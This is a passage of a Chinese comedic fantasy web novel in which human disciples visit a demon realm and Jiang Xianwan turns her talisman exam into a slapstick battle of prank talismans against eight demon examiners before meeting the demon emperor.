面对各种妖好奇打量的目光,他们丝毫不觉得尴尬,疯狂摆动手臂,领导体贴民众似的。 “妖域的朋友,你们好啊!” “很高兴见到你们!” “大家都吃过饭了吗?” “好巧!我也吃过了呢!” “改天约个饭啊!” “要不要一起打麻将?” 修言他们自来熟的厚脸皮,搞得众妖的热情都被调动起来,挥手示意。 他们之中有不少都去看了玄古大赛,对南境小队印象格外深刻,自然也知道他们的……特别之处。 跟屎壳郎比赛团屎,被鼠扇耳刮子…… 那条列举出来,好像都不是人能干出的事儿。 南境小队受到空前绝后的热烈欢迎,在握了不知多少只手,满足感过剩,终于遭不住,从妖堆里挤出来,一路狂奔到了妖塔。 妖塔分九层,第一层便是领取任务的大厅,厅中妖来妖往。 修言嗖地又刮了过去,很是自来熟的摸了摸蜂鸟的翅膀,由衷地发出赞叹。 “美,极美!滑,真特么的滑!” 蜂鸟翅膀一哆嗦,回过头,从牙缝里挤出一个字,“滚。” “啊,好凶啊,怎么办,我更喜欢了!” 蜂鸟:“……” 另一个小伙伴凑到一个少年面前,狗狗祟祟去摸人家后背,“奇怪了,我怎么看不出你是什么妖?” 少年沉默几息,“龟族。” “我勒个!王八啊!我喜欢王八!我家大缸里还养了两只!王八兄你好!” 少年磨牙:“叫我龟丞相!” “龟兄!有时间一定要去我家做客!我家的大缸又大又漂亮,还能睡好几只王八呢!” 龟丞相:“……滚!” 林玉锦那边更是夸张,他痴迷地盯着面颊覆着鳞片的女妖。 “你的鳞片可以扣给我一枚吗?我有一个小侄子,他很喜欢。” 鲤鱼妖:“……?” 一巴掌甩了过去,“不要脸!” 就连何未语也温柔地执起高贵冷艳的猫妖的纤纤玉指。 “优雅而又美丽的喵小姐,我叫何未语,认识你很荣幸。” 猫妖:“……团团。” 第 187 章 一点点 “漂亮的孔雀弟弟,可以告诉我去你心里的路怎么走吗?” 白羽:“……” 殿下! 殿下! 江献晚一来就要给你戴绿帽子啊! 白羽一扭头,哆嗦着翅膀,狗咬腚似的一阵狂风刮走。 江献晚对此一无所知。 其他小伙伴各自在大厅投放的屏中接取了任务,敷衍地和林玉锦江献晚道了别,飞快找到自己的队友,前往任务地点。 看的出来,吃野味的心,很是焦灼。 林玉锦和江献晚看了一会儿,倒是没选择猎杀妖兽,而是认真询问了大厅的工作妖员。 接待他们的是一只……树懒。 林玉锦望着工作位上的一排树懒,眼睛瞪得极大,活像被一股无形的恐怖力量掐住了脖子。 又像是三天没有拉出来屎,神色极为难耐。 他目不转睛的盯着树懒妖手中的绿色通行令,唇角不停抽搐,“请问,您能再快点吗?” 闻言,树懒妖以一种慢的离谱的速度,慢慢慢慢抬起头。 而后…… 慢慢慢慢看向林玉锦。 “您……说……什么?” 林玉锦:“……” 林玉锦猛地捂上心口,面庞开始一点点扭曲。 看起来很是痛心疾首。 他猛喘几口大气,坚强而迅速的平复一下心情,语速飞快。 “我说您能快点吗?” “啊?” 树懒妖似乎有些诧异他猴急猴急的模样,不过还是很认真的慢慢慢慢低下头。 “好……的。” 说罢,又慢慢慢慢抬起头。 “请……您……再……重复……一……下……方……才……的需求。” 林玉锦:“……” 两颗眼珠子瞪的都要冒出来的林玉锦,头咚地一声磕在桌子上,浑身散发出比死了八百年厉鬼,还要重的怨气。 声音幽沉,没有一丝起伏。 “我说,请给我两枚参加考核……去妖塔二楼的通行令!” 江献晚看着这熟悉的一幕,心中为小师兄默哀的同时,默默掏出一盆瓜子。 两个时辰后,江献晚嘴都嗑麻了,像是遭受了十八般酷刑的林玉锦脚步虚浮,惨无人色的捏着两枚通行令,离开了接待窗口。 他双目无神,游魂般飘到江献晚跟前,忽然癫狂的抓了抓早就乱成鸡窝的头发,凄厉地大叫一声,“投诉!我、要、投、诉——!” 江献晚:“……” 安慰的拍拍他的肩,“小师兄,我们还剩半天的时间。” 他们今日的任务是需要通过考核,获得一枚玉髓。 不然晚上就要滚出泗水上院,睡草地了。 想到狼太灰发信息说已经为她刨好了一个洞,江献晚心中表示拒绝。 林玉锦一个激灵,“走走走!赶紧先考丹师证!” 妖塔三层和六层是锻器师与阵法师的工作室,四层和八层是符师的工作室,五层和七层是炼丹师的工作室。 二层是负责各种考核的扬所,九层是妖都高层开会的顶级vip。 他们需要先去二层通过考核,拿到丹师资格证,然后才能前往七层,自立门户。 通过救治那些做任务受伤的妖,或者售卖丹药,而得到酬劳,再去大厅兑换,得到继续居住泗水上院的资格。 林玉锦短短片刻,回血速度极快,意气风发的一挑眉,“等我拿到玉髓,明日就能颠出一个月的房钱!” 江献晚微微偏头,唇角勾起一抹志在必得的弧度,“今日便是我江献晚走红妖域的第一仗!” 闻言,林玉锦神色忽然变得有些古怪,他狗狗祟祟凑上去,欲言又止,“小师妹,你好像已经够红了。” 没瞧见吗? 他们刚到二层,这些排队等着考核的妖,跟排练好似的,神情亢奋地望了过来。 甚至有妖交头接耳,激情议论。 “那个就是玩屎的江献晚吗?” “一身青衣,可不就是剑尊弟子。” “天啊!他们怎么站到了丹师考核室门前?炼丹吗?当众团粪球?” “听说黑市最近新出了一本书,火遍两境三域,卖的可爆了,就叫江献晚的成名屎!今晚回去我就去买一本!” 江献晚:“……?”什么屎? 十秒之后,江献晚第一次觉得有点抬不起头。 默默低下头,并默默抬起一只手,遮了脸,看脚尖。 林玉锦拍拍她的肩,“小师妹,我没骗你吧?是不是红爆了?” “咱俩要不也去整几本?” “唉,小师兄我什么时候也能如此名震两境三域该多好哇!” 对此,江献晚立刻马上就现在,掐灭参加丹师考核的想法。 “小师兄,我觉得,我还是去符箓室吧。” 她怕她团……啊呸! 她炒出来的丹药没妖要。 林玉锦一点头,撸起袖子,安慰道:“行!放心吧!这个仇,今天小师兄给你报了!” 江献晚看他露出一副志在必得的神色,忍不住在心中为今日妖塔来的妖无声点了一根蜡。 果断站到了符箓室窗口。 参加符箓考核的妖没多少,当最后一头浑身像裹了炭的白熊妖,哭哭啼啼从符箓室走出来,江献晚便迎上了一位中年男子的目光。 他肚子挺圆,嘴巴上翘着两根须,俩眼珠子也是滴溜圆,明显的特征,不难看出,此妖是条鲶鱼妖。 鲶鱼眯着眼睛,从上扫到下,“凤仪剑尊亲传?太虚宗的?” 江献晚不知该感叹花美人的名号响亮,还是该感叹自己的名号同花美人一样响亮。 微微颔首,捻指行了人族礼节,“正是,晚辈江献晚。” 鲶鱼翘着小指,拿拇指和食指,悠哉悠哉地捋了捋两根须子,挺着胖嘟嘟的肚皮,围着她慢慢转了三圈。 “四道同修?” 他花了三十块灵石,从黑市买来一块留存影像功能的玉简,将玄古大赛看了一遍。 江献晚的大名,便再让他难以忘怀。 炼丹,画符,剑术,阵法,这些暂且不谈。 尤其是站在屎壳郎中间,团粪球那一幕,在妖域广为流传,就连刚出生的幼崽都知道。 江献晚见他两根须子都挂着兴奋和不理解,沉吟片刻,“一点点。” “一点点?” “我觉得可不止一点点。” 那粪球团的又大又圆,怎么可能只是一点点。 鲶鱼对这个团粪球的剑尊亲传很感兴趣,难得热情主动介绍自己。 第 188 章 参加考核 他倒不是怕江献晚考不过。 妖都的符师并不局限于妖塔之中,他们妖域亦有黑市,私下也会倒卖符箓法宝丹药这些,人族的东西,在妖域亦是随处可见。 只不过。 依照三百年前的规矩,其他境域的弟子来到这里,要么接取任务去各种指定地点猎杀妖兽,要么就是来到妖塔进行考核。 斩杀妖兽的任务简单粗暴,只需要按照卷轴完成即可。 来妖塔参加考核的弟子,若是通过,便可以暂时在妖塔中挂名,进行售卖,获得酬劳。 主要的是,这些作为交换生的弟子,一旦获得自立门户的资格。 妖域的前辈,不管在哪里,都会心照不宣,立刻马不停蹄狂奔到妖塔,好好磋磨……哦不! 好好关爱一下这些晚辈。 而今日,就在凤仪剑尊那两个亲传弟子趴在大厅窗口办理业务,所有在此挂名的前辈,不管是炼丹的,打铁的,还是画符的,全部提前来到了妖塔。 此刻正聚集在七八九层各自的会议室,除了妖帝前来巡视时,可谓是前所未有的整整齐齐,一个不落。 就等江献晚和林玉锦选择考核哪种资格证。 江献晚转脚从炼丹室来到符箓室的时候,四层和八层的符师整个瞬间沸腾。 这些符师分为两派,一派忠诚妖帝一脉,一派则是天狼王心腹。 江献晚和狼太灰虽然交好,不过,天狼王的心腹也不会太过手下留情的,这毕竟关系到妖域的名声。 况且,磋磨每一个交换弟子,是他们妖域默契而集体的荣誉。 更别说忠于妖帝的那些妖,看在狼太灰的面子上,不仅不会轻易放过江献晚,反而更会好好招待她。 可想而知,面对那么多顶级符师,江献晚待会儿有的受。 江献晚自然门清。 人族与妖魔生来就不怎么和气,她今日一旦拿到考核通过证,恐怕下一秒所有的前辈都做好了充分接待……哦不,磋磨她的准备。 江献晚没放心上,不怕死的笑了笑,“当然。” 胖丫显然对她的回答很满意,怀揣着满满看戏的兴奋,迫不及待的打个手势让她坐。 “不得不说,你的决定真的很明智。” “那么,请问这位人族小友,你是想考核四层还是八层的符师资格证呢?” “四层是低级符师的扬所,八层自然都是着高级符师,当然,八层难度系数是挺大的。” “你若怕,只需要一口气画出十张不同的中级符箓,就可以得到四层符箓师的绿玉髓了。” 江献晚指尖轻点桌面,“八层符师的玉髓能兑换几日房费?” 鲶鱼捋了一根须子,嘿嘿一笑,“也是一日哟,不过,若你能通过考核,出售的符箓自然要比低级符师昂贵许多,可以兑换更多的房费,怎么,你该不会想去八层吧?” 江献晚无语他故意拖长的声音,两根须子快乐地一翘一翘的,淡淡道:“我去八层。” 搁这刺激谁呢。 她是随随便便就能被刺激到的吗? 不过,话说回来,她是什么很低级的人吗? 花美人亲手调教,若是连八层都上不去,打的不就是凤仪剑尊的脸? 虽然她倒是不在乎花美人脸疼不疼,但,她在乎自己脸疼不疼。 胖丫眼睛蹭地一下,亮晶晶的宛如两盏灯泡,显然就等她说这一句了。 “来!一口气,十张高级符箓!” 鲶鱼妖丝毫不为自己故意给江献晚增加一半难度系数,而觉得可耻。 实际上,想要拿到八层符师的资格证,只需要画五张就成了。 但他今日来这儿,就是要来针对江献晚的啊,不然,他等这么久干嘛。 江献晚在虚古境时画的最多也不过是中级符箓,一边画,时不时嗑补充灵力的丹药,而且她绘制出来的符箓,作用看起来都很变态。 他还真摸不准江献晚的真正水平。 所以,坑就完了。 十张高极符箓一口气画完,难得不是自身灵力的供给,而是这十张符,每一张都要一笔成功,不容有一点失误。 高级符箓需要的灵力,远超中级符箓,符文绘制更为精妙,精神力也需要异常强大、集中。 一口气成功画出十张,困难系数可想而知。 因此,他还特意准备了低级的符纸和符墨,绝对能大大提高失败率。 江献晚见他将十张皱巴巴的破符纸直往自己手边怼,唇角不由得抽了抽。 这大鲶鱼看戏的表情是不是太明显了些? 好歹遮一遮啊。 别说,他鱼脑子还挺聪明,知道从符纸符墨上下功夫。 江献晚没点破他的小心思,一手压了符纸,拿笔蘸了符墨。 手腕轻动间,动作行云流水,一笔勾成,速度快的还有点看不清。 她平时跟二师兄一画就能画半天,连续画出十张高级符箓,就跟印刷似的,手拿把掐,不是什么难事。 自身足够强大,低级符纸符墨自然也不在话下。 江献晚速度很快,快的胖丫嘴边的笑逐渐僵硬古怪。 他双手撑在桌案上,两根须子上下一抖一抖的。 半晌后,深吸一口气,笑不出来了,“这就是你说的一点点?” “是一点点啊。”江献晚抬眸扫了他一眼,“十张高级符箓是什么很难的事吗?” 这个逼,还是要装一装的。 她可没忘,此趟妖域之行,他们这些亲传代表的可是南境的脸面。 临行前,徐燕洲拉着她和林玉锦喋喋不休,千般叮咛万般嘱咐了半日。 看在掌门那么可怜,还不忘传音给他们,随时关注他们的情况,江献晚还是有点良心的。 再说,狐狸不会在意这些,巴不得她好好折腾折腾这群妖。 以风回雪心中所想,大约就是……让他们见识一下未来妖域女主人的威力,从而满足自己骄傲的虚荣心。 鲶鱼瞪着那十张玄妙至极的符箓,尴尬的摸了摸须子,“什、什么难事,十张高级符箓而已,确实是一点点。” 他能说他有时候连画十张高级符箓,也会浪费几十张,甚至上百张符纸吗? 当然,他不可能说! 他要脸! 妖域也要脸! 第 189 章 无辜地她 暗讽谁呢! 他们妖域也不菜的好吧! 没道德,嘴还贱的江献晚! 江献晚:“……” 这大鲶鱼……刚是不是对着她翻了白眼? 江献晚捏着红玉髓出了考核室,没看到大鲶鱼火急火燎从袖子中掏出一枚妖域的传信玉简。 她瞅了一眼丹师考核窗口,林玉锦意气风发,肩头扛着一口能装人的大锅,得得瑟瑟的走进去,于是默默前往八层。 林玉锦刚排到跟前,哐当一声,将锅摔在两排神色莫名的考核官中央。 “来!” 他决定了。 待会他要炼一锅加强版螺蛳粉味的交欢丹,顺便为妖域的繁衍做出一点伟大而贴心的贡献! 另一边江献晚如何也不想到自己的小师兄玩的这么开,她很快来到八层。 不得不说,这里的布局还真有工作室那味了。 一间间符师的工作室,门边皆挂有符箓师的名字,闪闪发光。 那间最大的工作室,显然是八层所有符师平日里召开会议的地方。 江献晚刚到,恰巧遇到匆匆赶来,迎面撞在一起的白羽和狼太灰。 狼太灰嗷地一声痛叫,七手八脚拽出被白羽踩在脚下的尾巴,“死鸟!你特么是不是故意的!” 白羽被撞了一下翅膀,也很疼,毛都掉了两根,脸煞白煞白的。 “到底是谁故意?是你自己不看路!” “谁让你来这里的!”狼太灰不依不饶,“你不来这里我能撞到你?” “呵呵,狼太灰,你要点脸行吗?妖塔是你家开的?”白羽气极反笑,有种把翅膀呼他脸上的冲动。 狼太灰鼻子一哼,懒得理他,三步并两步来到江献晚面前,瞅了眼她手中的红色玉髓,表情语气皆是凝重,活像她是来赴死一般。 “江献晚,我来送送你。” 江献晚:“……?” 送什么? 送她安心上路? 要不要用这么一副沉重的语气? “是这样的。”狼太灰不好意思的挠挠头,“你也知道两境三域见面向来这样,虽然咱俩是好朋友,他们也不会放过你的。” 说着,嗤笑着看向一脸肉疼去摸翅膀的白羽,“尤其是某几个,名字我就不说了!这会正望眼欲穿,摩拳擦掌准备给你来一个下马威呢!” 白羽:“……” 算了,他不想跟傻子说话。 不过,他说的倒也不错。 殿下跟江献晚是两口子,这些妖又不知道,可不就是等着要江献晚好看。 白羽不可置否,冷眼旁观狼太灰瞎蹦跶。 江献晚轻轻一颔首,“没关系,你能送我我已经很感动了。” 狼太灰红着脸,甩了甩尾巴,“我也没帮上你什么忙,那个,我不能进去,你自己加油。” 他爹虽是天狼王,但妖塔是妖域最神圣的地方,不是他能随意放肆的。 狼太灰能做的,就是贴心的为她推开会议室的房门。 “就是这里了。” 妖都的符师和丹师今日来的格外整齐,林玉锦那边也不会例外。 江献晚眸光一扫,便看到八位符师分坐成两排,中间一张又长又宽的桌子,主位空着。 显然两派各成阵营,江献晚很轻易的能看出来,左手边是天狼王心腹,右手边是妖帝心腹。 因为,右手边靠主位的那个男子,同白羽一样,都是白天鹅一族。 白天鹅对面是顶着两只豹耳,地上拖着一条粗壮尾巴的豹妖。 听到开门动静,八位带着各种明显妖性特征的妖,瞬间齐刷刷的投以注目礼。 江献晚淡定的反手扣门,顺便将狼太灰和白羽关在门外。 出门在外,最基本的礼仪还是要有的,江献晚从容捻指一礼,“见过各位妖域前辈。” 坐在白天鹅身边,头顶猫耳的男子微微颔首,首先开口。 “听胖丫说你一口气画出了十张高级符箓,不错不错。” 若只听表面,江献晚还觉得他单纯的是想找个开扬白过渡一下。 可在听到下一句,无语的同时还有些麻木。 猫妖微微一笑,笑意却不达眼底,语气更是耐人寻味。 “不愧是凤仪剑尊手把手教出来的徒弟,十年前黑市一次偶遇,你师尊凌空一道符,趁机抢走了我的芥子囊。” 最重要的是……那张符是放屁拉屎符! 他当着整个黑市修士的面,又是放屁又是拉裤兜,老脸都丢尽了! 还被黑市管理者以随地大小便为由,不仅勒令他亲手将地面清洗干净,还将他拖去厨房整整刷了一个月的碗! 他芥子囊被抢,玉简也在芥子囊内,哭天无路,硬生生在后厨围着围裙干了一个月的粗活! 刷的小手都皱了! 想到弱小的自己,无助的蹲在地上清洗恭桶的一幕幕,猫妖气的两只猫耳都翻折成了飞机耳! 卑鄙无耻的人族两脚兽! 此仇不报,难以下咽,这些年吃鱼都不香了! 江献晚:“……” 望着猫妖两眼泛起激动的泪花,猫耳如簧片般高频率颤动,江献晚虽然不知他和花美人之间的爱恨情仇。 不过也能从花美人惨绝人寰的凶残手段,还有小猫咪时不时紧贴头皮的两只猫耳,大约能猜出来,恐怕不仅仅是抢了芥子囊这种小事。 江献晚默默无语。 花美人造的孽,终有一天,还是反噬到了她这个可怜而无辜的弟子身上。 对此,江献晚只能回以礼貌微笑,“这个晚辈倒是不知。” 花不休抢他的芥子囊,关她江献晚什么事。 她可不会赔的。 猫妖显然对凤仪剑尊魂牵梦萦,刻骨铭心。 见江献晚一副死猪不怕开水烫的无耻态度,一拍桌案,首先发难,“既然如此,今日我便试试剑尊弟子是否也同剑尊一样,下流龌龊,还不要个脸!” 江献晚:“……”你特么骂花美人就算了,骂无辜地她算什么? 过分了啊。 江献晚脑瓜一歪,唇轻勾,“来,你敞开了试。” 桌子左边坐着的四个符师交换了一下眼神,他们虽跟对面妖帝心腹向来不合,但同样好奇江献晚的实力。 那位级别最高的豹妖符师,淡淡开了口,“来者是客,点到为止即可。” 第 190 章 一打八 最起码人家在他们造反的时候,大约能有点良心……不会来趁火打劫。 一直看似事不关已的白天鹅,优雅地梳了一下洁白的翅膀毛,突然悠悠笑道:“豹大人何时懂得点到为止了?” 他不就爱画些阴损至极的符箓? 还知道点到为止? 是想笑死谁家妖? 舔狗! 闻言,豹妖轰地从座位上站起来,半个身子探过去,怒目圆睁,“白衍!你不要太过分!” “过分?”白衍不以为然,慢悠悠端起一杯清茶,吹了吹茶叶,一举一动,雅的很。 而后一扫自家阵营的三个符师,“我过分吗?” 旁边三个符师头摇的比拨浪鼓都欢快。 “当然不!过分的是他!” 江献晚:“……” 江献晚望着眨眼间满天飞的符纸,还有一言不合就开打,隔着一张桌子吵的不可开交的八个妖,沉默片刻,悠闲的拉了一张板凳,并端出一盆冰荔枝。 别说,妖域的内部矛盾真就挺严重的。 瞅瞅这爆炸符扔的,要不是这间屋子刻有高级阵法,恐怕一张下去,方才便塌成了废墟。 八个都得嘎。 不过,这位名叫白衍的前辈,骂人还挺优雅,一看就比白羽稳重不止十倍。 阴阳怪气的柔和腔调,看把对面豹妖给气的,四肢扒上桌子,一边阴暗爬行,一边伸着脖子朝白天鹅狂喷口水。 猫妖爪子都亮出来了,这把对面龟妖挠的。 江献晚一边津津有味的吃着荔枝,时不时偏头躲避各种打歪的符纸。 她看了一炷香,眼看八个妖脸上挂彩,被指甲挠开了花,还在朝彼此破口大骂,终于想起来自己是干什么来了。 哦,她的房钱。 “那个……诸位要不要先看看我?” “各位前辈?” “豹前辈?” “白前辈?” “狗前辈?” “龟……龟?” “咪咪?” 疑似无妖理。 “都特么别打了!” 望着洋洋洒洒,如雪花般泼头浇下的符纸,被无差别攻击,一击爆炸符险些扔在脑门上的江献晚终于受不了了。 眼瞧八个妖全都爬到了桌子上,抠脸的抠脸,扯尾巴的扯尾巴,江献晚额角跳动的欢快。 她忍了又忍,再次偏头躲开一张符纸,凌空画出一张符,抬手甩了过去。 “够了!” 轰—— 一声炸响。 整个会议厅跟着剧烈摇晃。 正撕吧在一起的八个妖,呼啦啦被一击爆炸符,炸的满脸雀黑,各个顶着新出炉的鸡窝头。 巨大的冲击力,更是一视同仁,将他们从桌子上一股脑掀在墙壁上! 万籁俱寂。 八个耳鸣的妖:“……”卧槽? 他们是怎么黏上来的? 江献晚站在凳子上,一扫八个从墙壁慢慢滑落的妖,礼貌微笑,温柔道:“各位前辈,可以开始了吗?” 不等八个妖起身,江献晚凌空又画出一张符。 素手轻点,符分为八。 “我赶时间,你们待会再吵。” 说罢,挥手将八张符纸打出,无差别攻向八个妖。 狼太灰和白羽耳朵高高竖起,紧紧贴着门。 里面八个符师内讧的动静消失了,又开始传出惊天动地的爆炸声。 紧跟着的是八个符师骂骂咧咧的癫狂大叫声。 很显然,江献晚一打八。 凭借着一己之力,拉爆八个妖的怒气值。 更惊悚的是,这两派素来谁也瞧不上谁的符师,好像在里面组起了队! “卧槽!放声大笑符!哈哈哈!死鸟!你拿千斤符攻她下盘啊!哈哈、哈哈、哈哈哈——!” 这笑出反派声音的是豹妖。 “手舞足蹈符?!啊啊啊!好变态!死豹子快拿你的浑身刺挠符甩她脸上!” 这是白衍的声音。 “啊哈哈哈哈哈!死鸟,你跳的还挺妖娆!” “唔哈哈哈哈!你他妈不也中招了!” “哈哈哈哈哈哈哈哈哈哈!去你*的!” 白羽狼太灰:“……” 两个死命扒着门继续听。 “卧槽!你个死乌龟,你特么磨磨唧唧干什么呢!打她啊!” 这是妖帝心腹。 “狗东西!你说谁磨叽!” “呔!试试我新升级的清洁符!水来!” 这是天狼王心腹。 “啊啊啊!又是放屁拉屎符!江献晚!我与你们师徒二人势不两立!” 这是猫妖。 各种群妖乱舞,叮零当啷?,哈哈哈哈的隆隆嘈杂中,忽然穿插了一阵江献晚抑扬顿挫的哈哈放声大笑。 看起来……也中招了。 狼太灰低头看向脚底下从门缝流出来的一片水,狼耳一抖。 “我怎么觉得他们好像都疯了?” 白羽沉默三秒,“这回我不跟你吵。” 里面的人和妖的确疯了。 原以为这些符师会面,都会拿出最正宗,还体面的看家本事,给对方点颜色瞧瞧。 你听听,现在他们在干些什么? 放屁拉屎符,磨牙打呼符,舞动奇迹符,放声大笑符,五体投地符,阴阳反转符,仰卧起撑符,相亲相爱符…… 待听到里面有个妖,操着一口粗犷的声音,掐着嗓子,咿咿呀呀:“和你把领扣松,衣带宽,袖稍儿揾著牙儿苫也,则待你忍耐温存一晌眠。” 白羽两只翅膀,剧烈的抖动起来。 就在他们两个两脸惊恐,纠结着要不要进去看看,一道温润的声音不轻不重敲击在耳畔。 “唔……不错,听起来很热闹。” 这熟悉的声音,狼太灰和白羽对视一眼,皆从彼此的眼睛中看到了错愕。 而后蹭地一下,各自从门板上下来。 压低头颅,手贴胸膛,恭敬行礼。 “帝上。” 风洺霁略一颔首,他似乎还未痊愈,面色看起来仍有些懒倦,蓝裳穿的松松垮垮,仍难掩一身风姿,与风回雪面容有八分相似。 白羽和狼太灰忙不迭又转朝着另一个男子道。 “大司命。” 华垠手持着一把乌木尺,抬手示意狼太灰和白羽噤声,而后身子微斜,轻覆在门上。 便弯眸笑了出来,“确实很热闹,江献晚笑的还挺大声。” 风洺霁哈哈跟着笑了笑,“一对八,倒是难为她了。” “我听着不难为。如何?” “自然不错。” “那,帝上现在进去看看?” “自然。” 第 191 章 妖域符师,恐怖如斯 他俩不是在闭……被风回雪软禁了吗? “不知道。”白羽摇头。 心里门清,这俩还能为啥,肯定是偷偷跑出来,过来见一见殿下喜欢的人呗。 想什么来什么,风回雪抱着江行行匆匆赶来,身后跟着跑的啪嗒啪嗒的玄龟。 “他俩呢?” 狼太灰古怪的瞅了他一眼,“进去了。” “进去了?”风回雪蹙眉,“你们怎么不拦着?” 白羽指着自己的鼻尖,“我?” 拦妖帝和大司命? 他翅膀不想要了? 狼太灰更是想踹给他一脚,没好气道:“我凭什么要拦?” 他爹是想造反,这不还没反! 他拿什么拦? 再说,有什么好拦的? 他能管得住妖帝和大司命想去哪里? 风回雪看起来很烦躁,一把推开他俩,“滚远点!” 狼太灰白羽:“……” 两个相视一眼,从对方眼里看出了一致的嫌弃,这点默契使得他们各自哼地别开了头。 而后,再次不约而同,将耳朵贴在门板上。 里面一人八妖似乎都没发现会议室早已多出两个男人,还很是水深火热。 事实上的确如此。 江献晚被龟妖的一张升级版清洁符浇了一身水,背对着门站在凳子上。 一边发出哈哈哈的反派大笑,一边抽搐着浑身抓挠,浑身滴滴答答淌着水。 八个妖也没好到哪里去。 两个已经钻到了桌子下面,趴在满是水的地面,双臂划拉,沉浸遨游,还有一个在做仰卧起坐。 舞姿妖娆,还能手拉手,配合着跳上一段爱的华尔兹,正是豹符师和白符师。 可怜的小猫咪更惨,双手捂着屁股,趴在桌子上,满脸痛苦之色,却仍抵挡不住一声高过一声的屁声。 那铿锵有力的声音,听起来逐渐有点不对,沾汤带水的。 另外本是死对头的两个,靠在墙角,深情壁咚,并发出性感的气泡音。 “处吗?宝贝~” “处~” “处吗?宝贝~” “处~” “处吗?宝贝~” “处~处~处~” 在听在看的每一位:“……” 江献晚单腿站立,嘴里哈哈哈,拿另一只脚蹭着小腿,手指哆哆嗦嗦去摸芥子囊。 造成这一切的她,笑的还很是猖狂。 “啊哈哈哈哈哈哈哈哈哈哈哈!” “哇哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈!” “妖域符师!恐怖如斯!哈哈哈哈哈哈哈哈哈!” 风洺霁慢吞吞的靠墙站好,“听的我想笑。” 她一打八个,还说人家恐怖。 华垠挨着他站过去,“也好,省得你偷着笑。” 刚合上门的风回雪:“……” 风回雪瞪了一眼伸手来抱江行行的妖帝,将他搁在玄龟背上。 一扫干什么都有的九个,唇角微微一抽。 他忙抬手上前扶稳抖成筛子的江献晚,急急问道:“哪瓶?” 后者:“哈哈哈!哈哈哈哈哈白色……啊哈哈哈、哈哈哈哈哈哈哈——!” 风回雪:“……” 迅速打开她的芥子囊,从里面扒出一个白色的药瓶,取了丹药喂她。 又用妖力将她衣裳发丝蒸干。 江献晚瞬间不痒了,但还在笑,她抖着指尖指向猫妖,“啊哈哈哈哈哈哈哈哈!” 猖狂的笑声,竟还含着几分真情实感。 风回雪顺着她的手指去看猫符师,眼皮子便重重一跳。 厉声呵斥,“放肆!不许当众拉屎!” 他一个大男人当着江献晚的面拉屎算怎么一回事! 屁股还想不想要了! 猫妖:“……”恨不得一头撞死! 是他想拉的吗? 他不想忍住的吗? 下流无耻的两脚兽! 欺妖太甚! 瞅瞅,这些是人能干出来的事? 她跟她师尊,都不是好人!!! 江献晚:“啊哈哈哈哈哈哈!碰到我们师徒哈哈哈,算你倒霉!啊哈哈哈哈哈哈哈哈哈哈!” 风回雪:“……” 又是好笑又是心疼,扶稳笑的直哆嗦的江献晚,压低声音,“你自己的符自己解不了?” “哈哈哈哈哈哈哈解不了哈哈哈,根本没想过……哈哈哈……解。” 得。 江献晚笑的不能自已,“哈哈哈快……打晕我!” 不行,要笑死了! 风回雪并指点在她后心,手臂穿过她的腿弯,将骤然昏过去的江献晚打横抱起。 江行行立刻拍了拍玄龟,跟上。 妖帝和大司命看了一眼各个面庞苍白绝望,想对着他们行礼,奈何又忍不住举止癫狂的八个妖,贴心而快速的合上门。 将那些到处又是尽情畅游,又是仰卧起坐,邪祟附体般,甚至开始拉屎的符师,关在地狱。 狼太灰陡然见江献晚被风回雪抱着,愣了一下,正欲说什么,风洺霁和华垠相继走了出来,只好默默咽下要人的话。 却听华垠沉吟片刻,犹豫着出声,“你们两个,处理一下吧。” 白羽和狼太灰应了一声,待一推开门,双双深吸一口长气。 险些以为来到了什么人间地狱。 狼太灰:“我……去?” 白羽:“我……勒个……去。” 妖塔妖来妖往,风回雪不便抱着江献晚到处走,便将她带到了九层。 他抱着江献晚坐下,不悦的瞪了一眼跟过来,并厚着脸皮抱起江行行的妖帝。 “你跟来做什么!放下!别碰他!” 风洺霁尴尬的轻咳一声,“你小声点,吓到行行怎么办?” 他自然是来看儿媳妇的。 不然,他也不会偷翻院墙。 “呵。”风回雪短促一笑,“我记得妖帝从前可不是这么说的吧?” 风洺霁很冤枉,温声反驳,“是你不跟我商量,我打你,还不是做给下面那些妖看的。” 别说天狼王的势力反对,就连那些向来站在妖帝一脉的部下都接受不了。 他从来没说过不认可江行行的话,就是象征性打了一顿他爹,还没敢让行行知道。 实际上,见到江行行的第一面,他觉得这小娃娃跟他挺有爷孙缘的。 风回雪嗤笑一声,“那又如何?我可没你这般心慈手软。” 直白来说,废的不能再废了,一再纵容天狼族的势力,导致妖域乌烟瘴气,内斗不断。 第 192 章 偶像 摸了摸鼻尖,倒是没放下江行行。 他很喜欢江行行,比风回雪小时候可爱多了。 白捡个大孙子,他偷着乐了不知多少回。 儿媳妇对他又好,还拿了灵泽之露救他狐命。 华垠也跟他说过,他儿子与江献晚之间有天赐的情缘,还是他儿子求都求不来的。 风洺霁很是局促,只能讪讪的低下头,轻轻捏了捏江行行手背上的小肉窝,眼巴巴的道:“行行,叫爷爷。” “不许叫!”风回雪狠狠剜他一眼,对自个儿子道:“你爹我可不认他这个爹,你没有爷爷!” 风洺霁:“……” 江行行:“……” 江行行看了看风回雪,又看了看尴尬不已,偷偷摸摸捏他小手的风洺霁,很是苦恼,“夹在你们爷俩中间,行行真的很为难。” 风洺霁也没勉强他,从袖中摸出一颗糖果,笑着将他轻轻放下,“去吧,看看你娘亲。” 华垠看着偎在风回雪怀中的江献晚,心中一动,跟着江行行,踱步上前。 他一手执着乌木尺,手指轻掐了几下。 风回雪蹙眉,“大司命?” “嘘。” 华垠神色认真,这般一掐,眼底顿时透露出几分震惊错愕之色。 风洺霁注意到了,缓走到好友身边,低声询问,“有什么不对吗?” “是啊?有什么不对吗?” 江献晚恰巧醒来,便看到一个年轻的男子,做法似的掐几根手指头。 华裳认真将她看了又看,先是露出匪夷所思的复杂表情,而后怔怔的颔了颔首。 他无声深吸一口气,朝着江献晚一笑,“一点点。” 江献晚从风回雪膝头跳下来,一张嘴,又是难以遏制的“哈哈”两声。 她猛地闭紧嘴巴,尴尬的摸了摸江行行的脑袋。 咽回口中的哈哈哈,端然一礼,“晚辈江献晚,见过帝上,见过大司命。” 这位同风回雪样貌极相似的男子,一看便知,正是妖帝风洺霁。 没想到长得很年轻,跟风回雪就像两兄弟似的。 另一位自然也不难猜出,风回雪口中神神叨叨的大司命。 一副如沐春风的模样,很容易令人心生好感。 风洺霁狐狸眼一亮,“这里没外人,叫我爹就行。” 江献晚:“……?” 这是有外人没外人的问题? 风回雪拿眼睛一瞪妖帝,耳尖却涌出一点绯色。 江献晚有些尴尬,“那个,我……” 